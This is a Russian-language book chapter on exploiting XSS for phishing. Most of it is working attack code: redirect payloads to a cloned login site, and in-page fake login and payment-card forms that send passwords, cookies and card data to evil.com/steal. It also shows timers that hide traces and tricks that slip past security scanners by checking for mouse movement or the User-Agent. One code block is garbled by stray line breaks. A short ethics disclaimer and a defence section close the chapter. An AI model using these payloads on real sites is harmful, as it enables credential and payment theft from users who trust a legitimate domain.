Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Фишинг и редиректы

Cookie grabbing и keylogging требуют, чтобы жертва хоть немного побыла на странице с твоим payload. А что если можно вообще не ждать - просто мгновенно перенаправить жертву на клон легитимного сайта и получить пароль прямо там, добровольно введённый? XSS-фишинг - это гибрид социальной инженерии и технической эксплуатации, где уязвимость сайта используется не для кражи данных напрямую, а для создания идеального плацдарма для обмана. И именно потому, что фишинговая страница открывается в контексте доверенного домена, жертва теряет последний барьер настороженности - адресную строку.

Почему XSS-фишинг работает лучше обычного

Классический фишинг - это письмо от "банка" с ссылкой на bank-secure-login.com. Пользователь смотрит на URL и такой: "Хм, это не похоже на настоящий сайт банка". XSS-фишинг убирает эту проблему полностью: жертва находится на real-bank.com, видит валидный SSL-сертификат, видит правильный домен в адресной строке. Разница только в контенте страницы, который ты подменил через инъекцию.

Это критично важно для финансовых сервисов и банковских приложений, где пользователи привыкли проверять именно домен как индикатор безопасности. Если XSS найден на портале банка, атакующий получает идеальный вектор - жертва абсолютно уверена, что находится в защищённой среде, потому что технически это правда.

Базовые техники редиректа

JavaScript location redirect

Самый простой способ увести жертву на подставную страницу:

location.href = 'https://evil-clone.com/login';

Payload для инъекции:

<img src=x onerror="location.href='https://evil-clone.com/login'">

Или через location.replace(), который не оставляет исходную страницу в истории браузера (жертва не сможет вернуться назад кнопкой "back"):

<svg onload="location.replace('https://evil-clone.com/login')">

Meta refresh redirect

Альтернативный способ через HTML без чистого JavaScript - полезно, когда фильтр режет <script>, но пропускает мета-теги:

Window.open для дополнительного окна

Иногда выгоднее не убирать оригинальную страницу, а открыть поддельную в новом окне поверх:

window.open('https://evil-clone.com/login', '_blank', 'width=500,height=600');

Это создаёт эффект "модального окна логина", что выглядит естественно для многих сайтов, использующих popup-авторизацию через OAuth.

In-page фишинг -не покидая домен вообще

Самая мощная техника -не редиректить жертву никуда, а полностью подменить содержимое текущей страницы через DOM-манипуляции, оставляя URL неизменным.

document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;font-family:Arial;">
<h2>Сессия истекла</h2>
<p>Пожалуйста, войдите снова для продолжения работы.</p>
<form id="phish-form">
<input type="text" name="username" placeholder="Логин" style="width:100%;padding:10px;margin:10px 0;">
<input type="password" name="password" placeholder="Пароль" style="width:100%;padding:10px;margin:10px 0;">
<button type="submit" style="width:100%;padding:10px;background:#0066cc;color:white;border:none;">Войти</button>
</form>
</div>
`;
document.getElementById('phish-form').addEventListener('submit', function(e) {
e.preventDefault();
var data = new FormData(this);
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({user: data.get('username'), pass: data.get('password')})
}).then(() => {
location.reload(); // Показать "нормальную" страницу после кражи
});
});

Разбор техники:

  1. Полностью заменяем видимый контент страницы на фейковую форму логина
  2. URL в адресной строке остаётся настоящим доменом сайта - жертва не видит никаких признаков подмены
  3. При отправке формы данные летят на сервер атакующего
  4. После кражи страница перезагружается, показывая жертве настоящий контент, будто ничего не произошло

Оверлей вместо полной замены

Более элегантный вариант - не удалять оригинальный контент, а накрыть его модальным окном, имитирующим системное сообщение:

var overlay = document.createElement('div');
overlay.style = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:99999;display:flex;align-items:center;justify-content:center;';
overlay.innerHTML = `
<div style="background:white;padding:30px;border-radius:8px;max-width:400px;">
<h3>Требуется повторная авторизация</h3>
<p>Для продолжения подтвердите пароль.</p>
<input type="password" id="phish-pass" placeholder="Пароль" style="width:100%;padding:10px;margin:10px 0;">
<button id="phish-btn" style="width:100%;padding:10px;background:#0066cc;color:white;">Подтвердить</button>
</div>
`;
document.body.appendChild(overlay);
document.getElementById('phish-btn').addEventListener('click', function() {
var pass = document.getElementById('phish-pass').value;
fetch('https://evil.com/steal?p=' + encodeURIComponent(pass) + '&u=' + encodeURIComponent(document.cookie));
overlay.remove();
});

Этот подход психологически сильнее - жертва видит, что "основной" сайт остаётся видимым под затемнением, что создаёт иллюзию легитимного системного запроса, а не отдельной подозрительной страницы.

Клонирование реальных форм логина

Профессиональный подход - не рисовать примитивную форму от руки, а полностью скопировать HTML/CSS оригинальной страницы логина, чтобы визуально ничего не отличалось.

Workflow:

  1. Открой настоящую страницу логина целевого сайта
  2. Сохрани полный HTML через "View Page Source" или DevTools
  3. Вычлени только форму логина со всеми стилями
  4. Замени action формы на свой обработчик
  5. Встрой получившийся HTML в свой XSS payload через document.write() или innerHTML
fetch('https://evil.com/cloned-login.h
tml') .then(r =>
r.text()) .then(ht
ml => { document.body.innerHT
ML = html; document.querySelector('form').addEventListener(
39;submit', function
(e) { e.preventDefault();
var data = new FormData(this); fetch('https://evil.com/ste
al'
;, {method: 'POST', body: data}); }); });

Здесь клонированная страница подгружается с внешнего ресурса, что делает исходный XSS payload минимальным - всего одна строчка fetch(), которая незаметна в исходном коде инъекции.

Редирект через открытые перенаправления (Open Redirect + XSS)

Комбинация XSS с уязвимостью Open Redirect на том же сайте даёт дополнительный слой легитимности. Вместо прямого редиректа на внешний домен, используй встроенный редирект-механизм сайта:

location.href = 'https://real-bank.com/redirect?url=https://evil-clone.com/login';

Если жертва проверяет URL мельком, она видит начало real-bank.com/redirect - что выглядит куда безопаснее прямого перехода на посторонний домен.

Фишинг платёжных данных - особая осторожность

Когда цель - финансовые данные (номера карт, CVV, banking credentials), фишинговая форма должна визуально совпадать с реальными формами оплаты или банковского входа, включая корректные плейсхолдеры и маски ввода:

document.body.innerHTML = `
<div style="max-width:450px;margin:50px auto;padding:25px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,0.1);font-family:-apple-system,Arial;">
<h3>Подтверждение платежа</h3>
<p>Для завершения операции введите данные карты повторно</p>
<input type="text" placeholder="0000 0000 0000 0000" maxlength="19" style="width:100%;padding:12px;margin:8px 0;border:1px solid #ddd;border-radius:4px;">
<div style="display:flex;gap:10px;">
<input type="text" placeholder="MM/YY" style="width:50%;padding:12px;border:1px solid #ddd;border-radius:4px;">
<input type="text" placeholder="CVV" maxlength="3" style="width:50%;padding:12px;border:1px solid #ddd;border-radius:4px;">
</div>
<button style="width:100%;padding:12px;margin-top:15px;background:#28a745;color:white;border:none;border-radius:4px;">Подтвердить платёж</button>
</div>
`;

Работа с такими сценариями требует предельной этической осторожности: кража платёжных данных через XSS - это прямое финансовое преступление с уголовной ответственностью, и легально это применимо исключительно в рамках авторизованного пентеста финансовой организации с чётко подписанным scope, где явно указано тестирование социальной инженерии и фишинговых векторов.

Таймер и авто-скрытие для минимизации следов

Профессиональный фишинг-payload не остаётся видимым вечно - он должен исчезать, если жертва не взаимодействует, чтобы не привлекать внимание при случайном возвращении на вкладку:

var phishTimeout = setTimeout(function() {
location.reload(); // Убираем фейковую форму, если жертва не отреагировала за 30 сек
}, 30000);
document.getElementById('phish-form').addEventListener('submit', function() {
clearTimeout(phishTimeout);
});

Detection Evasion - маскировка редиректов

Задержка перед редиректом

Мгновенный редирект сразу после загрузки страницы выглядит подозрительно и может триггерить автоматизированные security-сканеры, которые проверяют статические паттерны. Добавь задержку и условие на реальное взаимодействие пользователя:

document.addEventListener('mousemove', function() {
location.href = 'https://evil-clone.com/login';
}, {once: true});

Редирект срабатывает только на реальное движение мыши - автоматические боты и сканеры часто не эмулируют такое поведение, что помогает пройти мимо базовых защитных систем.

Условный редирект по User-Agent

Ограничь исполнение payload'а только для целевой аудитории, исключив ботов безопасности:

if (!/bot|crawler|spider|headless/i.test(navigator.userAgent)) {
location.href = 'https://evil-clone.com/login';
}

Защита от XSS-фишинга

Для разработчиков:

  • Content Security Policy с директивой form-action, ограничивающей, куда могут отправляться данные форм
  • frame-ancestors и X-Frame-Options против clickjacking-комбинаций
  • Мониторинг аномальных DOM-изменений через Mutation Observer на стороне защиты (некоторые банковские приложения используют integrity-checking скрипты)
  • Обучение пользователей: реальный сервис никогда не должен запрашивать повторный ввод пароля посреди сессии без явной причины

Для финансовых организаций особенно критично: регулярный пентест форм логина и платёжных страниц, потому что именно эти точки - главная цель XSS-фишинга, где ставки выше, чем на любом другом типе сайта.

Заключение

Фишинг через XSS - это момент, когда техническая уязвимость превращается в психологическую манипуляцию высшего уровня. Ты не взламываешь пароль математически - ты убеждаешь жертву отдать его добровольно, используя единственное преимущество, которое даёт легитимный домен: доверие. In-page подмена контента без изменения URL, клонирование реальных форм, условные триггеры на движение мыши - всё это инструменты создания идеальной иллюзии безопасности там, где её на самом деле уже нет. Именно поэтому XSS на страницах логина и оплаты финансовых сервисов оценивается bug bounty программами в разы выше, чем на обычном блоге - impact здесь не гипотетический, а прямой путь к краже денег.

22 views·2 shares